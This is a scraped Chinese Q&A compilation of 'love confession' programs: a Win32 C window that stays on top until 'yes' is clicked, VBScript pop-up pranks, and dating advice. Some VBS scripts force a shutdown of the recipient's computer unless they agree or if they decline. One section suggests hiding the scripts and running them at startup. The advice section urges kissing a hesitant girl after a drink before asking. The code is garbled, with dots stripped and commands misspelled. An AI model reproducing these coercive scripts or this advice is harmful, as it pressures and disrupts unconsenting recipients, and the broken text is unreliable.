求C语言编写的表白程序，要代码

#define IdYes 1002

#define IdNo 1003

#define IdStatic 1004

#define IdTimer 1005

#define Width 640

#define Height 480

#define Tick 2000

#include<windowsh>

int x,y;

RECT rdesk;

HINSTANCE hinst;

HWND hyes,hno;

BOOL quit=FALSE;

LRESULT CALLBACK WndProc(HWND hwnd,UINT Message,WPARAM wParam,LPARAM lParam)

{

HDC hdc;

PAINTSTRUCT ps;

RECT rclient;

HBRUSH hbrbkgnd;

static COLORREF c;

static BYTE r,g,b;

switch(Message)

{

case WM_TIMER:

if(IdTimer==LOWORD(wParam))

{

r=(BYTE)(rand()%256);

g=(BYTE)(rand()%256);

b=(BYTE)(rand()%256);

c=RGB(r,g,b);

InvalidateRect(hwnd,NULL,TRUE);

UpdateWindow(hwnd);

}

break;

case WM_PAINT:

hdc=BeginPaint(hwnd,&ps);

hbrbkgnd=CreateSolidBrush(c);

SelectObject(hdc,hbrbkgnd);

GetClientRect(hwnd,&rclient);

FillRect(hdc,&rclient,hbrbkgnd);

DeleteObject(hbrbkgnd);

EndPaint(hwnd,&ps);

break;

case WM_COMMAND:

switch(LOWORD(wParam))

{

case IdYes:

quit=TRUE;

MessageBox(hwnd,TEXT("回答正确，太太太好了！"),TEXT("宝贝"),MB_ICONEXCLAMATION|MB_OK);

SendMessage(hwnd,WM_CLOSE,0,0);

break;

case IdNo:

MessageBox(hwnd,TEXT("回答错误哦，我很生气呢！"),TEXT("宝贝"),MB_ICONEXCLAMATION|MB_OK);

break;

}

break;

case WM_SIZE:

case WM_MOVE:

SetWindowPos(hwnd,HWND_TOPMOST,x,y,Width,Height,SWP_SHOWWINDOW);

break;

case WM_DESTROY:

PostQuitMessage(0);

break;

case WM_CLOSE:

if(quit)

{

KillTimer(hwnd,IdTimer);

DestroyWindow(hwnd);

}

break;

case WM_CREATE:

CreateWindow(TEXT("Static"),

TEXT("请回答：做我女朋友好吗？"),

WS_CHILD|WS_VISIBLE|SS_CENTER,

200,

200,

240,

20,

hwnd,

(HMENU)IdStatic,

hinst,

NULL

);

hyes=CreateWindow(TEXT("Button"),

TEXT("好"),

WS_CHILD|WS_VISIBLE|BS_CENTER,

270,

230,

45,

20,

hwnd,

(HMENU)IdYes,

hinst,

NULL

);

hno=CreateWindow(TEXT("Button"),

TEXT("不好"),

WS_CHILD|WS_VISIBLE|BS_CENTER,

325,

230,

45,

20,

hwnd,

(HMENU)IdNo,

hinst,

NULL

);

SetTimer(hwnd,IdTimer,Tick,NULL);

break;

default:

return DefWindowProc(hwnd,Message,wParam,lParam);

}

return 0;

}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)

{

WNDCLASSEX wc;

HWND hwnd;

MSG msg;

hinst=hInstance;

srand(time(NULL));

memset(&wc,0,sizeof(wc));

wccbSize=sizeof(WNDCLASSEX);

wclpfnWndProc=WndProc;

wchInstance=hInstance;

wchCursor=LoadCursor(NULL,IDC_ARROW);

wchbrBackground=(HBRUSH)(COLOR_WINDOW+1);

wclpszClassName=TEXT("WindowClass");

wchIcon=LoadIcon(NULL,IDI_APPLICATION);

wchIconSm=LoadIcon(NULL,IDI_APPLICATION);

if(!RegisterClassEx(&wc))

{

MessageBox(NULL,TEXT("窗口注册失败！"),TEXT("错误"),MB_ICONEXCLAMATION|MB_OK);

return 0;

}

GetWindowRect(GetDesktopWindow(),&rdesk);

x=(rdeskright-Width)/2;

y=(rdeskbottom-Height)/2,

hwnd = CreateWindowEx(WS_EX_TOPMOST,

TEXT("WindowClass"),

TEXT("I Love You"),

WS_THICKFRAME|WS_VISIBLE,

x,

y,

Width,

Height,

NULL,NULL,hInstance,NULL);

if(NULL==hwnd)

{

MessageBox(NULL,TEXT("窗口创建失败！"),TEXT("错误！"),MB_ICONEXCLAMATION|MB_OK);

return 0;

}

while(GetMessage(&msg,NULL,0,0)>0)

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return msgwParam;

}

截图

如何利用最简单的代码表白方法：

1、首先，我们现在桌面创建一个新建文本文档txt。

2、然后我们打开，在里面输入msgbox(\"你想要说的话\")。这里的msgbox（）可以有很多个，一个代表一句话且一个占用一个段落，括号引号必须是英文状态下的，引号内就是你想要说的话。之后保存（快捷键：ctrl+s）

3、保存好之后把新建文档重命名，名字可以随便，但扩展名一定要改成vbs

4、这样就完成了，可以发给心仪的ta了。这个打开之后的窗口是不能关闭的，必须强制性的看完才能关闭。

手机版弹窗表白，表白弹窗制作的具体步骤如下：

1、在桌面上新建一个文本文档，复制下列内容到文本里；

msgbox("做我女朋友好吗")

msgbox("房产证上写你名")

msgbox("保大")

msgbox("我妈会游泳")

msgbox("我做家务")

msgbox("我做饭")

msgbox("宠你")

msgbox("护犊子")

msgbox("不凶人")

msgbox "你好!"

msgbox "我钟意你很久了!",64

msgbox "可以做我女朋友吗",64

dim gj,a

const s="我愿意"

set gj=wscriptcreateobject("wscriptshell")

gjrun "cmdexe /c shutdown -s -t 60 -c ""快说我愿意，不然就关机"" ",0,true

do

a=inputbox("答应我吧","我真的很喜欢你","我愿意")

if a=s then

gjrun "cmdexe /c shutdown -a ",0,true

msgbox "亲爱的，我们一起去操场散步好不好"

exit do

wscriptQuit

end if

msgbox "为什么不愿意 哇阿阿阿阿阿 我好伤心~",16

loop

2、点击保存，并把Etxt格式更改为vbs；

3、打开文件就是弹窗格式的了。

制作提醒

将第一段示例或者第二段示例复制到一个新建的文本文档中，保存。然后修改文本文档的后缀为vbs，

如果会弹出如下面的弹窗，就表明成功了。

示例比较简单，大家可以随意修改里面的字，也可以加更多段msgbox带括号的那种。

Tips：除了中文用全角，其他全用半角格式输入！

以前大家总说工科生不懂浪漫，但最近DJ抖音网很流行用代码来表白，将代码编写好，然后将文档发给要表白的对象，然后就可以等着对方进入你的表白套路了。其实这是弹窗表白的代码不是很复杂，一般人按照步骤来都可以做到，下面就来看看具体的步骤：

1、KS97新建一个文本 输入代码

2、鼠标左键点击文本左上角文件，再点击另存为。

3、点击后会弹出以下窗口，文件名改成：表白示例vbs，保存类型改为：所有文件，然后点击确定。

4、点击确定后，完成制作，电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件，就会像抖音里面的一样了。

抖音表白代码怎么写

方法一

msgbox("做我女朋友好吗")

msgbox("房产证写你名字")

msgbox("保大")

msgbox("我妈会游泳")

x=msgbox("做我女朋友好不好"，VbOkCancel)

if x=VbOk then

msgbox("爱你，么么哒")

elseif x=VbCancel then

msgbox("哼，再见")

set ws=createobject("wscriptshell")

wsrun"cmdexe /cshutdown-s -f -t 0"

end if

使用方法：将第一段示例或者第二段示例复制到一个新建的文本文档中，保存。然后修改文本文档的后缀为vbs，如果会弹出如下面的弹窗，就表明成功了。大家可以随意修改里面的字，也可以加更多段msgbox带括号的那种。

方法二

直接在电脑上打开一个记事本

输入一下内容

asgbox(“做我女朋友好吗”)

hsgbox("房产证上写称名”)

asgbox("保大”)

hsgbox("我妈会游泳)1

文字可以任意输入

保存在桌面上

将记事本的后缀改成vbs，效果如下图，打开文本即可跳出对话框界面

第一步在系统桌面右键新建一个文本文档

新建完成后可以修改文件名为自己喜欢的名称

修改后按下回车键，并双击运行它

复制下面的代码，粘贴上去

msgbox("我喜欢你！")

msgbox("我喜欢你很久了")

msgbox("做我女朋友吧！")

5每一行代码引号内的文本可以自己任意修改成自己喜欢的内容，还可以继续添加下去

6修改完成后一次点击 文件>保存 

7最后一步右键重命名，将后缀名改成 vbs 按下回车键，现在可以把它发给你喜欢的人啦！

如何表白一、男生表白女生　　你好！哥们，我是过来人了，经历过你们这种阶段，确实很有意思也很纠结，下面听哥们好好说。　　看了你的情况，我了下，现在这个世道啊要想成功追女！不能用常规方法了！特别现在你们都有个误区，都想表白才觉得自己怎么怎么了，然后表白完了等别人“承认”，我说的没错吧‘　　这样很容易失败的，兄弟。特别是如果对方对你没啥感觉那种。其实呢是可以先亲了她在表白！这样对方既有新鲜感有，要是初吻的话更加死心塌地呢！　　现在追你孩子一定要快准狠，我是说最关键那时候啊，你听我说啊，一个字一个字打给你，不能按常规出牌了，像平时那样追女生的逻辑已经过时！　　下面我会告诉你一些我的经历吧和我的理解。希望对你有帮助！！　　我的经验：当你喜欢一个女孩子，你就要冷静先，别想得太美好。　　接着，你要做的事，就是找机会，大家一起活动的时候，和他慢慢套近乎。注意，你平时别老是在她身边晃，这样人家会反感的，你要做的事，就是把自己变得优秀，各方面，增加自己的资本。比如弹钢琴，跳街舞，电脑编程，还有什么唱很好，写字很漂亮，书法，这些，当然最重要是事业！！！搞好你的事业，赚钱多了，学生的话学习好了，那么你的关注度就高了。竞争力也大了！　　我很真心的分享我的经验，希望你可以从中学到精髓！总之就是“泡妞，欲速则不达，欲求则不得，要若即若离，循序渐进，最后夺去她的芳心！还有就是不要老师在她身边晃，你要积累资本！懂吗，女人不喜欢那种整天在她身边转的人！　　你下一步，就是慢慢发展，慢慢的约她，然后无意识的试着和他分享你的小秘密，让你们两个变成无话不说的好朋友，最后在某次，然后在哪天比较人少的时候，你们又一起聊天，你就试着问她男女朋友的问题，然后给他暗示，那个时候，别胆小，最好去喝杯酒，你觉得把握得好，就可以问她比如你觉得我是个怎么样的人，什么之类的，然后趁他犹豫，直接吻她，搞定，表白，那是以后你们亲热的时候再说的，哈哈。　　我就是这样成功的，总之，这是一个不能急的事情，到最后成功的那一刻，你才会感受到你这些时间的路走过来总算pay off了，那种感觉，太美妙了！哈哈，说到这里不妨再分享下我表白的过程：我表白时对我女朋友说的是：X，你知道吗，在对的时间能遇到一个对的人，人这一辈子没有几次这样的机会。我现在遇到的那个人就是你，希望你能给我一次机会让我好好爱你，亲爱的！ 然后我女朋友想都没想就扑到我怀里不肯起来了！！　　（当然当时我们两个聊天聊得很暧昧了。我感觉是时候了，时机一定要把握好！不可太急，因为女孩喜欢浪漫的时候，温馨的感觉！这样他一辈子也忘不掉！最好称她犹豫可以亲她！不过你要准备好被她删一巴掌，当然我认为这不算什么！毕竟你要得到你的幸福，一巴掌代价就太小了！　　其实表白实际上就是一个形式而已，正确的顺序应该是：事实上已经成为你女朋友了，你才能向人家表白，水到渠成。 很多人弄不明白这个问题，总以为人家先答应做自己女朋友，然后再如何如何，我只能说他非常非常“单纯”，也非常非常“愚蠢”。　　有没有“迫不得已非表白不可”的时候？　　有，比如说出现第三者，或者你和女孩子关系没有成熟但两个人可能分开一段时间。这时候的表白就是条件不成熟的表白，风险非常大，类似于下围棋的时候形势严峻，落后的一方迫于无奈放出“胜负手”，赢了就赢了，输了也只能说“倒霉都是天生的”。　　“爱”字不要轻易出口 经常看见出现“大胆的表白”，说实话我真的认为这是非常不成熟的一种表现。“爱”是一个神圣的字，意味着追求，也意味着承诺，甚至体现出一种责任。　　haha,还有你知道最高境界是啥吗，就是男的直到跟女的上床了都没问过“你是否愿意做我女朋友”，最后还是女孩子急了：“你怎么还不求我做你女朋友啊！”　　完全我自己写的，亲身感受，希望可以帮到楼主！写得累死我啦……哈，没想到还不少啊。不管那么多啦能帮到你就行！！！按我这方法，成功率非常高的，有很凑效！女生都喜欢的、呵呵　　祝楼主早日追求到幸福！！！！生活愉快!　　有什么问题可以留言乐意为你解答！！　　第二次补充回答……　　哥们啊　　千万别别那么快让她察觉到，不然有些女生不给力会很伤你积极性的。　　你看反正你做那些都是提高实力的都东西对以后也有用嘛……你说呢二、女生表白男生　　男生追女生,男生向喜欢的女生表白。但是随着时代的潮流的改变没有所谓绝对不变的游戏规则,女生该怎么向男生表白,如果女孩子还相信那套“女人只要安静等待,白马天子就会从天而降”的话,情路之坎坷可以预见　　现代的剩女的数量在增加,难道女孩子变得不好了吗,男生的要求越来越高吗。其实不是,在这非常时期,女生只要多点主动就靠近和得到心中白马王子的机会了。　　首先表不表白是最基本的问题,你是担心他因为有其它原因而拒绝你,还是因为不喜欢而拒绝你。如果是前者,而且你也对你们的未来有信心,你可以试着跟他说出你的想法,告诉他你可以跟他一起面对问题等。　　如果是后者,那么,勉强就没幸福了,但是,表白是为了没有遗憾,你考虑下要不要试试吧。　　你若爱上了某位小伙子,就应该努力去追求,但出于姑娘羞怯的心理,不便坦白直率地向对方表示,那你怎么巧妙地把心思传给对方呢女生该怎么向男生表白，请参照下面的办法:　　先给他写个信,亲手交给他,试探一下有戏,就约会,网聊,电聊如感到写信,送信不方便,就想办法了解他的码或@@,网上或表白你的心声。灵活运用肢体语言来间接表示:譬如微笑和眼神交接,都是传递你好感和善意的好方法。;眼神交接的重点在于游移,直直地盯着对方看,可能会被误解,应该互视,移开,互视,移开,互视……接下来也许就该他采取行动了。　　运用第三方表示:有时候女孩子的确很难开口的话,可能通过身边的好朋友帮你传达你的爱意,如:"xxx经常赞你","xxx说你人品好为人爽朗正真,希望自己的男朋友是这样"。你借朋友的口把自己的心里表达出来,所以很逼真,对方也看不出破绽。如果他是聪明人的话,他就感觉你的爱意会对你有好感。　　投其所好:女生该怎么向男生表白，你首先要多方侦察你心目中的男生的兴趣和嗜好。例如,那位小伙子喜欢文学,他便会到图书馆借书看。你看清楚他喜欢哪一类书,自己也多借同类书来看,然后找准个机会和他聊上几句,把话题转到这类书的内容上,自然就可以谈得很投机。再经过一段时间的接触,你若觉得合心意,就继续下去;若觉得不合适(不要被“一见钟情”之类的话所迷惑),就淡化关系,慢慢退出这个情网,双方均无伤大雅。三、其他需要注意的情况表白可不是一件容易的事情，怎么表白，在什么时候表白，在哪里表白，都是需要考量的，今天就教大家如何表白吧！！1什么时候表白比较好：表白需要挑一个好的时间，当然这个需要有一个前提（你们已经聊上了一段时间，而且女孩子对你的感觉还不错，回复你的速度很快，一起也出去聚会过几次）一般来说，情人节七夕以及愚人节都是不错的选择，还有就是男方或者女方的生日，也可以。2表白应该怎么说：表白的话应该怎么说，情书应该怎么写，这是困扰广大男生最大的一个问题，我这里给大家说一个大概的思路，比如（第一次见到你的感觉）（和你聊天我的心情总是很好）（我们有很多相同的兴趣爱好）（我好几次梦到你了）（每天我都会想起你）（我特别想和你在一起）等等等等。3选择表白的场所：如果你是一个比较害羞的人，那么我建议表白通过网络或者的方式，当然了，你也可以直接面对面的说，西餐厅、咖啡馆、相对比较幽静，情调比较好的地方都可以。4事先的准备：表白之前可以先预预热，比如给对方换个亲昵一点的昵称。比如在表白之前多出来见几次面，送点小礼物等等。这个都可以为事后的表白来加分，成功的几率也会高出许多哦。5如果被拒绝应该怎么办：被拒绝一样分为很多情况，拒绝肯定会有拒绝的理由，我们可以根据情况来决定下一步计划比如她觉得双方都还小 那么可以先做朋友关系 保持好 以后等到时机成熟我们可以再进行表白。如果她直截了当的说她有喜欢的人了，或者说没有感觉的话，做朋友其实也是不错的选择，强扭的瓜不会甜，更适合你的人还在等待着你去寻找呢。　　希望楼主能与表白成功~~　　希望楼主采纳 谢谢，纯手打不易。

工作表标签上点右键，查看代码，输入以下代码：

Private Sub Worksheet_SelectionChange(ByVal Target As Range)

Target = "你要表白的内容"

End Sub

效果如图所示：

01

先来第一段弹窗代码：

msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C",1,"标题"

将它们复制到文本中，将后缀改成“vbs”就可以双击执行了。

02

其中“msgbox”代表Windows系统的弹窗警告，内容A、内容B、内容C是大家想在弹窗上显示的文字，而“标题”就是弹窗左上角类似系统警告一类的内容。另外，在“标题”前面的数字“1”代表调用系统按钮的样式，也可以换成2、3、4，共4种按钮样式供大家选择，写好内容的代码应该就是

只有弹窗，视觉效果是有了，但缺乏震撼力！要声色齐全才能唬到人。

所以还要来点语音说教。

03

再新建个文本文档，将以下代码复制进去

把你想让电脑说出来的话输入在“内容”部分，同样保存为“vbs”后缀即可。电脑就可以直接读出你输入的内容。

04

你说这些文件没有双击运行的话，也不会产生效果。那啥，你就不会把它们隐藏以后加入开机启动项目中吗？

控制面板-管理工具-计划任务，在右侧选择“创建任务”，在上面的标签中选择“触发器”，新建触发器设置为“每天”后，将开始任务更改成“启动时”或你想让弹窗和语音出现的时候，就大功告成了。

05

这两个代码结合起来，想警告、整人，甚至装老司机给女神表白均可使用，如何灵活发挥，就看你的脑洞够不够大了！